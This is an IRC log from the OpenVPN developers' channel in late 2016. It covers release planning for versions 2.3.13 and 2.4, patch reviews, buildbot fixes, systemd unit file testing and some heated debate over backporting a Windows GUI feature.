'auth_token_generate' 10:11 <@dazo> cron2: ehm .... *that* is properly tested on a clean git repos 10:11 <@dazo> on 2 distros 10:11 <@dazo> before push 10:11 <@cron2> yeah, but not with --disable-crypto 10:12 <@dazo> ahh, okay, that is likely the reason yes 10:12 * dazo need to run for dinner with family 10:12 <@cron2> you really need to do this stuff in less hurry and with more thought... 10:12 <@dazo> I realise I have another appointment after 20:00 ... so can't make a meeting today, and way too late to send invitation now 10:27 <@mattock> I will probably be doing server updates around 10:00 PST anyways, so I'm here 10:28 * cron2 will be sitting in a car, and will also be tired from having the kids around all day - it's holiday here... 10:28 <@cron2> next monday, and proper invitation by friday ("as we agreed to do, long time ago") 10:36 <@mattock> +1 10:41 <@syzzer> good, sports tonight :) 11:01 <@mattock> ok, the windows buildslave issue should be fixed now 11:20 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: ZNC - http://znc.in] 11:25 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 11:25 -!- mode/#openvpn-devel [+o mattock] by ChanServ 12:31 < slypknot> Trac 757: V2.3.x - Stick to the game plan, Security patches only; V2.4.x Add what ever features you like :: https://community.openvpn.net/openvpn/ticket/757 12:31 <@vpnHelper> Title: #757 (OpenvpnGUI: Username only in user/pass file does not work) – OpenVPN Community (at community.openvpn.net) 12:31 < slypknot> sorry for opening that can of worms .. 12:34 <@mattock> slypknot: I think the upgrade policy for 2.3.x is a bit more fine-grained than that, which makes it tempting to add "small" features even to 2.3 12:35 < slypknot> hi .. yes but .. as you can see, that feature is not "so small" .. unles you back-port the GUI .. which relies on interactive service .. it does not sound small to me 12:36 < slypknot> for such in insignificant fdeature for supporting an unsupported OS 12:37 < slypknot> and considering the amazing amount of work that has gone into 2.4 12:38 < slypknot> it is a decision you guys have to make .. but from a by-stander position .. i wish i had not opened the ticket (poor selva is probably not happy) 12:38 <@mattock> slypknot: I agree this should not go into release/2.3 12:38 < slypknot> ok 14:11 <@dazo> Seriously, that feature cannot be a big GUI change .... I will be shocked if it takes more than 50 lines of code to add a toggle bit "Remember username" in the settings panel and a some code in the username/password section which checks "is the flag set, if yes then use the username already saved." And then when you click the "OK" button, then it just saves the username (in case it changed) 14:11 <@dazo> It will be somewhat more code if you have a matrix of which usernames is used in which config file, but it won't be a large deal-breaker 14:12 <@dazo> but if the consensus is that our 2.3 users complaints doesn't matter ... well, then be it. But I find this attitude really odd. 14:14 * dazo preps for a meeting 14:18 <@dazo> btw ... if this change is too much ... then why the h*** did we include similar support it into the release/2.3 branch? 14:18 <@dazo> commit 76b82f0e9d272a703624b102bd2e2b38d9947afb 14:18 <@dazo> doc/openvpn.8 | 3 +- 14:18 <@dazo> src/openvpn/misc.c | 110 +++++++++++++++++++++++++++++++++++++---------------------------------- 14:18 <@dazo> src/openvpn/options.c | 6 ++-- 14:18 <@dazo> 3 files changed, 64 insertions(+), 55 deletions(-) 14:18 <@dazo> btw ... Date: Sun Oct 11 10:44:20 2015 +0200 14:20 <@dazo> we simply should not treat windows as a third wheel in trivial stuff, without really good reasons. 14:20 <@dazo> </rant/ 17:47 < slypknot> dazo: for third wheel see XP ..its kind of a waste of time 17:53 <@cron2> dazo: I've propably spent more time on windows for 2.4 than on any of the other unix platforms... and that's with me not even using windows 17:54 <@cron2> windows users REALLY need to move to 2.4, because our security model in 2.3 sucks, our service sucks, and this all cannot be reasonably repaired without making 2.3 = 2.4 18:00 < slypknot> Maybe someone, somewhere can reverse engineer the crap out of XP and they can give us LinuXP and then the world would be a better place 18:01 <@cron2> it's called WINE :-) 18:01 <@cron2> (and has been done 10 years ago) 18:05 < slypknot> good point ;) So upgrade WinXP desltop to Linux-Mint, then run openvpn 2.3 in Wine and the moan about it not working 18:05 < slypknot> or at least .. being ' inconvenient ' 18:07 <@dazo> so when will release 2.4 then? Next month? 18:07 < slypknot> good greif man ! 18:07 < slypknot> it is a dead fkn horse 18:08 <@dazo> If users are happy to complain, okay ... I won't care 18:08 < slypknot> one guy .. Called, i might add: Vampire0 18:08 < slypknot> that is not enough !!!!! 18:09 <@dazo> I've seen a few others as well ... but he was the latest one 18:09 < slypknot> not enough 18:09 <@dazo> okay ... I'll shut up 18:10 < slypknot> cool :) 18:12 < slypknot> if somebody *really* wants it, they can do it .. FOSS 18:12 <@dazo> yeah ... right ... that is one of the most lame arguments being abused 18:12 < slypknot> for the sake of what, ten keystrokes every now and then ... 18:13 <@dazo> It literately means: Developers are too lazy 18:13 * slypknot chain is not for yanking on this 18:13 < slypknot> developers can do what ever they want 18:14 <@dazo> I just do not like that we treat the Windows platform different from non-Windows when it *can* be fixed .... or any other platforms for that matter 18:14 < slypknot> it IS fixed 18:14 < slypknot> they run the command line 18:14 <@dazo> not for 2.3 18:14 < slypknot> command line 18:15 <@dazo> 99% of Windows users use the GUI 18:15 < slypknot> 99% of winows user .. are not keeping a dead horse alive because they do not use WXP 18:16 <@dazo> *sigh* are you telling me that 2.3 is completely irrelevant on non WinXP releases? 18:16 < slypknot> abd even if they do .. they KNOW their days are numbered 18:16 <@dazo> I don't give a shit about WinXP 18:16 < slypknot> why waste time on it ? 18:16 <@dazo> but I do care how OpenVPN is seen on relevant Windows releases 18:17 < slypknot> ok .. YES .. I personally am telling you that 2.3 is a dead horse .. everybody who knows anything about openvpn is already well aware of the situation .. 18:17 <@dazo> and 2.3 is still relevant until we have a final stable 2.4 release .... until that time we cannot expect users to upgrade to 2.4_alpha ... because it isn't stabilized for production 18:18 < slypknot> at this point is time 2.3 is a fantastic contribution the the entire world ! 18:18 <@dazo> 2.3 is far from a dead horse until 2.4.0 is finally released. That is a fact 18:19 <@dazo> otherwise why won't we just release 2.4_alpha2 as the final 2.4.0 release tomorrow? 18:19 * slypknot is gonna wait for dazo to work it out 18:20 < slypknot> do you want a hint ? 18:23 * slypknot is not afraid 18:40 < slypknot> I am going to say this ONLY Once: 2.3.x is an absolutely fantastic contribution to the entire Human race 18:40 < slypknot> back-porting functionality is a great idea 18:41 < slypknot> standing behind 2.4 as a release version is a far grander accomplishment 18:41 < slypknot> .. 18:42 < slypknot> and for the sake of a few more key strokes .. the strokers can find something else to rub 18:42 < slypknot> trac 757 18:42 < slypknot> please close 18:44 * slypknot quote me on trac if you like 20:05 -!- slypknot was kicked from #openvpn-devel by dazo [Careful ... obscene statements have nothing to do here. You know what I'm aiming at] 20:25 < slypknot> they still have to be sat at their keyboard to > passwaord // Kick me up th a s s all dui long 20:30 < Thermi> Just discontinue support for crap. 20:30 < Thermi> e.g. XP. 20:31 < Thermi> Or anything below Windows 7. 20:31 < slypknot> ditto 20:32 < Thermi> You have no obligation to support people that don't want to invest money in their business. 20:32 < Thermi> Or in people that don't want to upgrade to newer, more secure, supported software. 20:34 < slypknot> we are on the cusp ..... 20:34 < slypknot> 2.3 is excellent 20:35 < slypknot> 2.4 is (possibly) better 20:35 < slypknot> this is an exellent time to ,, <redacted> too complex 20:37 < slypknot> systemd should not nother anybody 20:38 < Thermi> The daemon and init system is neat. I use that. 20:38 < Thermi> journald is nice, too. But the rest is crap. 20:38 < slypknot> works fkn good so far 20:38 < Thermi> But udev integration is good, too. 20:38 < Thermi> But sometimes stuff breaks. They could do a better job at that. :< 20:38 < slypknot> it is early 20:39 < slypknot> version .. etc 20:39 < Thermi> Yes. 20:39 < Thermi> I think RedHat should have put funds into getting existing, old code bases reworked of third party projects, instead of developing limited-use stub implementations. 20:39 < Thermi> e.g. ntpd, dnsmasq, ... 20:39 < Thermi> multithreaded dnsmasq would actually be nice. 20:40 < Thermi> and ntpd with proper configuration files (and dnsmasq with proper configuration files) 20:41 < slypknot> ntpd ... 20:42 < Thermi> what about it? 20:42 < slypknot> see your comments .. 20:43 < Thermi> Yes, do you agree with them? 20:43 < slypknot> blah .. properconfig fdiles .. 20:43 < slypknot> no 20:43 < slypknot> they work fine for me 20:44 < slypknot> i use manchester university 20:44 < slypknot> they are probably crap 20:44 < slypknot> who gives a shirt 20:45 < slypknot> multi threaded time .. yeah 20:47 < slypknot> not a fan of quantum bollox either 21:25 <+krzee> seems like a lot of 'blah blah' that the devs will have to scroll through to see if they missed anything important 21:25 <+krzee> maybe #openvpn is a better place for it 21:26 <+krzee> although if they dont care, i dont --- Day changed Tue Nov 01 2016 03:24 * cron2 seconds krzee's statement: let's keep a bit more on-topic here: openvpn development, not "is ntpd a good addition to systemd" 03:25 * cron2 can only look ever so often into the channel and if there is too much unrelated stuff, I might miss important bits 03:36 <@cron2> mattock: from the "eat your own dogfood" department: please upgrade the community VPN server to 2.4_alpha2 03:37 * cron2 wants AES, and not these SWEET32 warnings... 03:37 <@cron2> syzzer: do we really want to print *three* warnings here? One for encrypt, one for decrypt, and one for good measure...? 03:41 <@cron2> ecrist: please be bumping openvpn-devel :-) 03:57 <@vpnHelper> RSS Update - gitrepo: Fix builds with --disable-crypto <https://github.com/OpenVPN/openvpn/commit/51d4d1543a64158cc24f176a8d45e51cbda8cd91> 04:13 <@mattock> cron2: ah yes :) 04:13 <@mattock> good idea 04:13 <@mattock> it seems we got a lively discussion around Trac 757 04:14 <@mattock> hopefully the proposal I just sent is good enough a compromise for everyone 05:16 <@syzzer> cron2: yeah, we're printing three warnings, two for the two times the insecure cipher is used, and once to notify the user we're setting --reneg-bytes. 05:17 <@syzzer> but only if the user is using insecure ciphers, of course 06:06 <@cron2> syzzer: true :) 06:16 <@cron2> mattock: fun, I started my mail two hours ago and was then interrupted (kids, household) but effectively we're saying the same thing: focus on 2.4.0, make it happen :-) 06:17 <@cron2> mattock: on a related note - macosx buildslave keeps exploding, related to <openssl/evp.h> - I think you two worked around this in the config, but that might have gotten lost? 06:30 <@cron2> http://community.openvpn.net/openvpn/wiki/Topics-2016-11-07 06:30 <@vpnHelper> Title: Topics-2016-11-07 – OpenVPN Community (at community.openvpn.net) 06:30 <@cron2> watch out for time zone changes 08:12 <@mattock> cron2: I think plaisthos fixed this at the client end by modifying buildbot.tac 08:12 <@mattock> which is python code 08:54 <@syzzer> woohoo, I won the bike shedding 8-) 09:04 * cron2 sends a NAK 10:26 <@ecrist> cron2: will do 10:29 <@cron2> thanks 11:05 <@ecrist> cron2: is a tarball generated on the 30th sufficient? 11:05 <@ecrist> otherwise I'll wait until Monday next week 11:05 <@ecrist> I suppose I could re-roll the week 43 tarball, but that's messy 12:24 <@cron2> ecrist: what's the git head of the 30th tarball? 12:25 <@cron2> dazo commited quite a bit recently which is good features, but breaks --disable-crypto - and the fix for that was committed today 13:00 <@ecrist> master-2016-43: ffe508e1082000531c9dc3a60abb9b6ba448f519 13:02 <@mattock> FYI: I emailed agi about getting openvpn 2.4-something to Debian 9 ("Stretch") - basically told him where we are at, and asked what and when he'd need at his end 13:17 <@cron2> ecrist: that's actually a good point - it does not have the auth-gen-token patch set yet (so doesn't need today's fix) but has lots of goodies, like the cipher negotiation / auto-AES 13:17 <@cron2> (but we do want a new devel snapshot next monday, with the auth-gen-token patch set :) ) 13:20 <@ecrist> ok 13:20 <@ecrist> I'll spin this one now then 13:28 <@cron2> thanks 13:32 <@ecrist> cron2: https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=213982 13:32 <@vpnHelper> Title: 213982 [MAINTAINER] security/openvpn-devel: Update to latest snapshot (at bugs.freebsd.org) 16:26 <@vpnHelper> RSS Update - gitrepo: man: Improve the --keepalive section <https://github.com/OpenVPN/openvpn/commit/beaa6564a7ce3e48473a8bde7b4f9291df490d62> --- Day changed Wed Nov 02 2016 04:54 <@d12fk> anyone potentially interested reviewing the argv overhaul? 04:54 <@d12fk> also anyone would like to have this on github for more colors? 04:57 <@syzzer> d12fk: yes, and no 04:57 <@syzzer> can't promise you when though... 04:58 <@syzzer> can I trade a review of the CRL patch with you? ;) 05:02 <@cron2> d12fk: do you want this in 2.4, or in 2.5? 05:04 * cron2 thought it was aimed at "master after 2.4 is forked off", but might be wrong 05:08 <@d12fk> cron2: since it is not a functional change it is not impotant enough for 2.4 05:08 <@d12fk> but th ereview would be of interest 05:08 <@d12fk> syzzer: crl review sounds interesting 05:34 <@mattock> ok, now to the wonderful world of exit events and Windows... 05:49 <@dazo> I've started to look at the CRL patch from syzzer, and reviewing the argv patches are next in line 05:51 <@dazo> if there are more people looking at the CRL stuff, that'd be good though ... as it is a fairly critical code path 05:55 <@cron2> mattock: what's your time availability regarding a 2.3.13 release? I think it was pending the 64MB patch, and could go out now(-ish) 05:56 <@mattock> well, I can probably push it out today, if needs be 05:56 <@mattock> I was just about to go into C# world, but did not yet have time 05:56 <@cron2> today is too soon, I want lev__'s recursive routing patch v4 in, and need to test that tonight 05:56 <@cron2> can you do tomorrow? 05:56 <@mattock> yeah 05:57 <@cron2> good, so I know what I have to do tonight 06:08 <@cron2> oh, FreeBSD port bumped mbedtls from 2.3.0 to 2.4.0 06:09 <@cron2> library versions: mbed TLS 2.4.0, LZO 2.09 06:09 <@cron2> *builds* just fine... 06:10 <@dazo> I think mbed tries to keep the API more stable nowadays within the 2.x releases 06:11 <@dazo> (and our ./configure script checks if mbedTLS release is between 2.0 and less than 3.0) 06:13 <@cron2> looks like it... seems to actually *work* right, too :-) 07:01 <@syzzer> mbed TLS has switched to 'semantic versioning', which I believe means they promise to be backwards compatible between minor releases 07:55 <@plaisthos> syzzer: if you manage to get your tls-crypt patch to the ML before next week Thursday I can review it on a long plane flight 07:57 <@syzzer> plaisthos: sounds like a plan! 08:00 <@cron2> plaisthos: could you have a look at your buildbot configs? "Something changed", and all the openssl compiles are now failing with "<openssl/evp.h> not found" 08:00 <@cron2> ("he who shows his head will be buried in work!") 08:07 <@plaisthos> cron2: okay 08:09 <@plaisthos> cron2: should work now 08:41 <@cron2> cool :) 09:09 <@mattock> message from Alberto (the debian package maintainer): "I'll consider uploading 2.4_something in early December, so we have a month to fix possible issues. After December 29 it won't be doable." 09:10 <@dazo> even one week less .... but good to know! 09:11 <@dazo> If Debian ends up having the base tar ball of a 2.4_rc, that's okay ... and hopefully we can convince abi to pull in the additional patches from 2.4_rc to 2.4.0 (unless he can do a rebase) 10:25 <@plaisthos> but should really get 2.4 into debian 11:46 <@dazo> agreed 14:07 <@cron2> Test sets succeded: 1 1a 1b 1c 1d 2 2a 2b 2c 2d 3 4 4a 5 6 8 9. 14:07 <@cron2> this is how I like your patches :-) 14:25 <@cron2> syzzer: a91ddc99a524014ec79560d873721e8fa81a5631 (64MB 2.3) does not have a Changes.rst entry, but that would be important 14:30 <@cron2> shall I just make one, when preparing 2.3.13? 14:31 <@dazo> we have Changes.rst in 2.3? 14:31 <@cron2> of course 14:32 <@dazo> I thought it was just master ... but probably just forgotten it 14:32 <@cron2> as has everyone else :) 14:33 <@dazo> heh :) 14:37 <@cron2> tcpdump: pcap_loop: The interface went down 14:37 <@cron2> 34834 packets captured 14:37 <@cron2> 262062 packets received by filter 14:37 <@cron2> 227228 packets dropped by kernel 14:38 <@cron2> this is what happens without lev's patch if the route to the server gets pointed into the tunnel :-) - that's about 5 seconds of activity 14:38 <@cron2> Wed Nov 2 20:33:08 2016 us=59127 Recursive routing detected, drop tun packet to [AF_INET6]2607:fc50:1001:5200::4:51194 14:38 <@cron2> and *this* happens *with* the patch :-) 14:39 < SviMik> that patch which was breaking tap? 14:39 <@cron2> that patch in v3, which is no longer breaking tap :-) 14:39 <@cron2> (or p2p server or --inetd) 14:40 * cron2 has run the full set of client and server tests this time - tun, tap, p2p, p2mp, --inetd, 2.3, master, master-server vs. 2.2/2.3/master, ... 14:40 < SviMik> moar tests! :D 14:41 <@cron2> the problem with *that* is that it takes about 1.5 hours to run the full suite... so I usually leave the server tests to a daily job that fetches git master, builds, and fires up all the server processes... 14:43 <@cron2> but with all the build explosions (and especially *this* patch in v2) I've decided to give it the really big round :-) 14:44 < SviMik> what this patch does in tap mode? simply ignoring this mode, or also does some job? 14:45 <@cron2> skip the ethernet header, then look at the IP header 14:45 <@cron2> (it did the same thing in v2, but used a function that also modified the buf ptr doing the "skip" part, so breaking packets) 14:47 < SviMik> that means it works for tap too? nice then 14:47 < SviMik> ACK :) 14:58 * cron2 sighs VERY deeply - I have tested that the patch actually drops the packets properly in tun mode on master and 2.3, and have verified that the patch does not *break* anything in tap mode 14:59 <@cron2> but it does not *work* in tap mode (read: compares the wrong things) 15:01 < SviMik> v_v 15:03 <@cron2> indeed 15:03 <@cron2> grr 15:04 * dazo wonders if cron2 would now prefer a patch which worked 100% and broke some specific builds .... or a fully buildable patch which does the wrong thing .... 15:04 <@dazo> no you can't have both! :-P 15:06 * dazo knows he is slingshotting stones in a glass house ..... :-P 15:07 <@cron2> this patch does not have the potential to break builds, fortunately :-) - doesn't touch crypto stuff, doesn't touch platform stuff, just pure packet handling 15:07 <@cron2> (of course v2 actually broke *running* openvpn, which is even worse) 15:09 * cron2 is frustrated and goes watch TV... 15:10 <@dazo> :) 16:06 < slypknot> dazo: I have been testing your systemd service files for most of the day :) 16:08 <@dazo> cool! thx! how does it look? 16:09 < slypknot> They work .. but there are some odd issues (probably not related) but I do get one specific problem which is throwing me 16:09 <@dazo> hmmm ... such as? 16:10 < slypknot> only on one debian 8 (of which I have two VMs) so I cannot pin it down yet 16:10 < slypknot> Its simple, i'll describe 16:11 < slypknot> Only at boot time (starts manually just fine) I get this error 16:11 < slypknot> systemd[499]: Failed at step RUNTIME_DIRECTORY spawning /usr/sbin/openvpn: File exists 16:12 < slypknot> I have mutiple client configs but I onlu get it this one VM 16:12 < slypknot> runtime dir is =openvpn (that is what it is suppoed to be) 16:13 < slypknot> like i said .. only one of 2 debians so it must be something stupid i have done 16:13 < slypknot> I'll reply to email when I have finnished 16:14 <@dazo> that sounds like a systemd issue .... as with the RuntimeDirectory should create %t/openvpn in this case .... and %t == /run on some systems, /var/run on others 16:14 <@dazo> is it openvpn-server which fails on both? 16:14 < slypknot> i have been reading the systemd link you pasted here before 16:14 <@dazo> Or is it the openvpn-client which passed? 16:15 < slypknot> both 16:15 < slypknot> both failed 16:15 < slypknot> don't worry about it for now .. as they work on everything else 16:16 < Thermi> Mind showing me the systemd units? I'm already running several concurrent daemons right now 16:16 <@dazo> okay ... then I'm fairly sure it's a systemd issue .... hmmm ... we could consider to skip RuntimeDirectory= ... and in the server config just use --status %t/openvpn-server_%i-status.log instead (and clutter %t directly and not our own subdir) 16:17 <@dazo> Thermi: with the new unit files in git master (and with the improved patches slypknot now tests) you do: systemctl start openvpn-client@CONFIG or systemctl start openvpn-server@CONFIG 16:17 < slypknot> thermi: https://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg12764.html 16:17 <@vpnHelper> Title: [Openvpn-devel] [PATCH] systemd: Improve the systemd unit files (at www.mail-archive.com) 16:17 <@dazo> client configs are located in /etc/openvpn/client .... and /etc/openvpn/server for server configs 16:17 <@dazo> dug 16:17 < slypknot> ah .. now I did not like that bit so changed it back to /etc/openvpn 16:17 < Thermi> slypknot: dazo RuntimeDirectory=openvpn that's stupid. Use openvpn-%i 16:18 < Thermi> or openvpn-client-%i and openvpn-server-%i 16:18 <@dazo> That's been recommended by some others in a github PR 16:18 < slypknot> Thermi: I will try that :) 16:18 < Thermi> And of course, try to at least store all the configs in /etc/openvpn/ and just make the template refer via the filename, not the whole path 16:18 <@dazo> it's not stupid to isolate your own stuff from others ... but when it won't work on Debian (it works fine on RHEL7) 16:19 < Thermi> otherwise you'll have to write the whole path when starting/terminating the unit 16:19 <@dazo> no, that will be a mess 16:19 <@dazo> because we have slightly different options and capabilities between server and clients .... so you can end up with users trying to start server configs with the client profile and vice versa 16:19 < Thermi> urgh 16:20 < Thermi> so you want seperate namespaces for server and client configs by making users specify the whole path themselves? 16:20 <@dazo> clients and servers are not the same 16:20 < Thermi> Duh 16:20 < slypknot> dazo: I presume you main concern was CapabilityBoundingSet= .. if so, they seem to work 16:21 <@dazo> they don't specify a shit .... they just save the config in the proper directory ... and run systemctl $cmd openvpn-{client,server}@CONFIG ... and it all will behave as it should 16:21 < slypknot> tested: arch, centos7, debian 8, fed24, ubuntu16 16:22 <@dazo> wow, cool! thx! 16:22 <@dazo> I'll send an updated patch kicking out RuntimeDirectory= 16:22 < Thermi> dazo: you think system interits the cwd when starting the unit from the command line? 16:22 < Thermi> Even across reboots? 16:23 < Thermi> or converts it to the full path? 16:23 <@dazo> I don't follow you 16:23 <@dazo> which cwd are you talking about? 16:23 < Thermi> Following example: openvpn client config is in /home/thermi 16:23 < Thermi> file name is foobar.ovpn 16:24 < Thermi> user runs systemctl start openvpn-client@foobar,ovpn while being root and being in /home/thermi 16:24 < Thermi> price question: when systemd runs the unit, what's its cwd? 16:24 < Thermi> The unit specifies --config %i 16:24 < Thermi> will it's cwd be / and run --config /home/thermi/foobar.ovpn 16:24 < Thermi> ` 16:24 < Thermi> *? 16:25 <@dazo> how does openvpn-client@foobar,ovpn make things appear in /home/thermi ? 16:25 < Thermi> dazo: It doesn't. That's where the user stored the configuration file. 16:25 <@dazo> so that won't work, because systemctl is managing a system daemon, not a user specific config 16:25 <@dazo> btw ... we set: WorkingDirectory=/etc/openvpn/{client,server} 16:26 < Thermi> dazo: Users will still try to use relative paths and expect it to work, when they store units somewhere else. Mind prefixing the --config %i with the cwd, so the path si absolute then? 16:27 < Thermi> And people will still try to start units from their home dir or somewhere else 16:27 <@dazo> WorkingDirectory= 16:27 <@dazo> Takes an absolute directory path. Sets the 16:27 <@dazo> working directory for executed processes. If 16:27 <@dazo> not set, defaults to the root directory when 16:27 <@dazo> systemd is running as a system instance and the 16:27 <@dazo> respective user's home directory if run as 16:27 <@dazo> user. 16:27 < Thermi> I can read the man page, thanks 16:27 <@dazo> And WorkingDirectory will be set in this case 16:28 <@dazo> if users expect a config file in /home/foobar to be used ... that will work just as lovely as the old init.d scripts ... as it wont 16:28 < Thermi> Err, it will 16:29 < Thermi> If they specify the absolute path, it will 16:29 <@dazo> service openvpn start will not start the config in a users directory 16:29 <@dazo> not even /etc/init.d/openvpn start 16:29 < Thermi> WorkingDirectory is not a chroot 16:29 <@dazo> but it is a chdir() call before exec("openvpn ...") 16:30 < Thermi> Does openvpn strip /../ out of path names? If it does, then it won't work. If it doesn't, it will work. 16:30 < Thermi> Also: It will work anyway with absolute paths 16:31 <@dazo> no, openvpn does not manipulate any paths 16:31 < Thermi> Please note that this discussion is not about relative paths anymore. We now know that relative paths will work, if they are constructed starting from /etc/openvpn 16:32 < Thermi> Absolute paths will also work, because absolute paths obviously don't care about the current workind directory 16:32 < Thermi> *working 16:32 <@dazo> I still don't understand where you see the issue? .... we expect config files to be in either /etc/openvpn/{client,server}, that is the starting point for the VPN configs 16:33 <@dazo> so if a user uses --ca ../ca.crt .... that should work 16:33 <@dazo> if a user uses a full path, that should work 16:33 <@dazo> ../ca.crt will work if a user puts the ca.crt in /etc/openvpn, that is 16:34 <@dazo> I really struggle to see how this is any different from the old init.d scripts (at least the ones on RHEL/CentOS/Scientific Linux/Fedora) 16:36 < Thermi> I wasn't talking about any init.d scripts. The conversation was originally about what happens when a user specifies the config as a relative path, starting from another directory than /etc/openvpn/whatever7 16:36 < Thermi> */ 16:36 <@dazo> that is not allowed by systemdctl 16:37 < Thermi> What do you mean with that? 16:37 <@dazo> systemctl start openvpn-client@../myconfig will not work 16:37 < Thermi> As far as I am aware, systemd doesn't do any mangling of the stuff between @ and the unit suffix 16:37 < Thermi> Why? 16:37 <@dazo> have you tried? 16:37 < Thermi> Nope 16:38 < Thermi> Uh 16:38 < Thermi> just did 16:38 < Thermi> systemd mangles the stuff between the @ and the suffix 16:38 < Thermi> it replaces the / with - 16:38 <@dazo> yes ... exactly my point 16:38 < Thermi> You didn't write that 16:39 <@dazo> I didn't say it explicitly, but that's what I've been trying to say for the last 10 minutes ... sorry I wasn't clear 16:40 < slypknot> this is it is always better to test it yourself first ;) 16:40 < Thermi> What about simply "systemd mangles the string between the @ and the suffix, so even though the user input a path, it will be mangled to something that is not a path anymore before it's passed to openvpn via the command line" 16:40 < Thermi> Or "systemd mangles the / to -, so you can't use paths." 16:43 <@dazo> perhaps just because I thought, based on how I perceived your systemd knowledge, you knew that paths were rewritten .... which quite common with .mount units 16:43 < Thermi> I knew it happened with mount units, but I didn't know it also did it with template units 16:44 <@cron2> *sigh* 16:45 <@cron2> we'll do a 2.3.13 tomorrow, with what we have in-tree (minor stuff and --reneg-bytes) and a 2.3.14 "not that much later" with (hopefully) reneg-bytes and block-outside-dns v2 (Selva) 16:47 <@dazo> cron2: a91ddc99a524014ec79560d873721e8fa81a5631 (Limit --reneg-bytes to 64MB) ... that should be in the release/2.3 branch already 16:48 <@dazo> block-outside-dns v2 isn't there, AFAIR, so that with lev__'s patch for 2.3.14 makes sense 16:50 <@cron2> dazo: right, both patches are not in yet (Selva's patch is on the list, but no review or testing yet) 16:50 <@cron2> I'll work on Lev's patch tomorrow, but do not want to delay 2.3.13 further - it's important to get the reneg-bytes out (which is in there already, yes) 16:50 <@dazo> agreed! 16:50 <@dazo> If you want, I can spin out the 2.3.13 this evening 16:51 <@cron2> the 2.3.14 comment should have read "(hopefully) Lev v4" 16:51 <@cron2> *I* 16:51 <@cron2> ugh 16:51 <@dazo> ahh, yeah, that makes sense :) 16:52 <@cron2> *I* need to go to bed now :-) - but if you have brains & awakeness left, please do 2.3.13 with what is in release/2.3 - it's been tested quite a bit today :-) - and then Jonathan and mattock can do their part tomorrow early 16:52 <@cron2> then I'll do Lev__ v4 tomorrow... 16:52 <@dazo> sure! I'll get right at it! 16:52 <@cron2> thanks, and good night 16:52 <@dazo> g'n9! 23:45 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 260 seconds] 23:53 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 23:53 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ --- Day changed Thu Nov 03 2016 02:54 < lev__> cron2: well, at least we are moving forward! 03:07 <@cron2> dazo: thanks 03:07 <@cron2> lev__: we are :-) - do you have time to work on this today? Otherwise I'll tackle it 03:10 <@cron2> my suggestion is to introduce an "int * ip_hdr_offset" argument to get_ip_version() which returns either "0" or "sizeof(ethernet header)" and the caller can then just add "+ offset" to the buf size calculations and the BPTR() 03:10 <@cron2> so we do not need to double all the checks for "is this v4 on tun? or tap?" 03:11 <@cron2> Also, I think the get_ip_version() thingie should check for IPv4 ethertype as well - because we can do more (like, ARP, which is not IPv4 but classified as "4" today) 03:24 < lev__> cron2: I'd have time in the evening, would that be too late? 03:26 <@cron2> lev__: that would be fine - we'll work together on this, so it will make 2.3.14 ("due soon"). 2.3.13 needs to be out today, so Tunnelblick can upgrade. 03:43 < diizzy> cron2: Hi, mattock pointed me here... looks like ticket 425 isn't going to make it into the release right? 03:43 <@cron2> what is 425? 03:44 <@cron2> ah 03:44 <@cron2> no 03:44 < diizzy> freebsd subnet topology bug 03:44 <@cron2> haven't even installed a FreeBSD 11 VM yet... and it works nicely on 10.3 03:45 < diizzy> cron2: it breaks on anything that's ~7 months old in trunk (-HEAD/-CURRENT) and 11+ 03:45 < diizzy> probably older now 03:46 <@cron2> diizzy: well, what shall I say - it helps if things get reported to us, not just in some FreeBSD forums 03:46 <@cron2> 425 got closed by the original reporter - so I was only made aware of this on 11 about a week ago (which is why I reopened it) 03:46 < diizzy> ahh 03:47 < diizzy> There's a ticket in freebsd's bugtracker too 03:47 < diizzy> but I think they're touching different issues afaik 03:47 < diizzy> https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=207831 03:47 <@vpnHelper> Title: 207831 r293159 breaks OpenVPN routing (at bugs.freebsd.org) 03:48 <@cron2> will check... but unless someone brings these to us, we can only notice by chance - too many supported OSes, too many bugtrackers 03:49 < diizzy> Yeah, I do understand that issue 03:49 <@cron2> ok, that actually is the same thing, I thnik 03:50 <@cron2> the rtsock change makes "my address" point to lo0 now, so the old trick of "route to my own address" to mean "route to that interface" no longer works 03:50 <@cron2> I'll reference the ticket from #425 03:51 < diizzy> is the patch provided good as it is or does it need work? 03:51 < diizzy> in the openvpn bug tracker that is 03:52 <@cron2> that patch is crap 03:52 <@mattock> cron2, dazo: v2.3.13 tag is missing from GitHub 03:53 <@mattock> SF.net Git repo has it 03:53 <@cron2> it's totally the wrong approach, AND it will break IPv6 on tun unless all peers also happen to be FreeBSD versions *with that patch* 03:53 <@cron2> (enabling BROADCAST causes FreeBSD to start querying IPv6 neighbours with ND, which nobody else does and replies to) 03:53 <@mattock> hmm 03:53 <@mattock> ignore me 03:53 * cron2 ignores mattock 03:54 <@mattock> for some reason my local Git refuses to pull v2.3.13 tag from GitHub 03:54 <@cron2> funny 03:54 <@cron2> well, so does mine... 03:54 < diizzy> cron2: in short, it needs work heh 03:55 <@cron2> it's the wrong approach - the right approach is to fix the route next-hop instead (which is why this only happens on the server side, on the client side the next-hop already points to the server's IP address) 03:56 <@mattock> cron2: doing a full Git clone "solves" the problem - the v2.3.13 tag is not there 03:56 <@mattock> odd 03:56 <@cron2> or use -ifp tunX, but our current ipv4 route setup doesn't do that 03:56 <@cron2> mattock: I'm not seeing it either 03:56 <@mattock> anyways, I'll start the release machinery no 03:56 <@mattock> yeah 03:57 <@cron2> I see dazo's commit (which is all fine) but no tag either, neither on sf nor github 03:58 <@mattock> oh, both 03:58 <@mattock> the web interface on both shows the tag just fine, and a full Git clone solves the problem 03:58 <@mattock> or "solves" 03:59 <@cron2> wtf? 03:59 <@cron2> git fetch github --tags 03:59 <@cron2> brings me the tag, but shouldn't "fetch" do that on its own? 04:00 <@dazo> hmmm .... it should fetch tags by default ... 04:01 <@dazo> let me double check in a little while .... need to complete something quickly 04:01 <@mattock> cron2: normally I've just done a "git pull --rebase <remote>" and that brings the tags 04:02 <@mattock> and I believe "git pull" does a "git fetch" first 04:02 <@cron2> I normaly do "git fetch" and that brings me the tags... 04:02 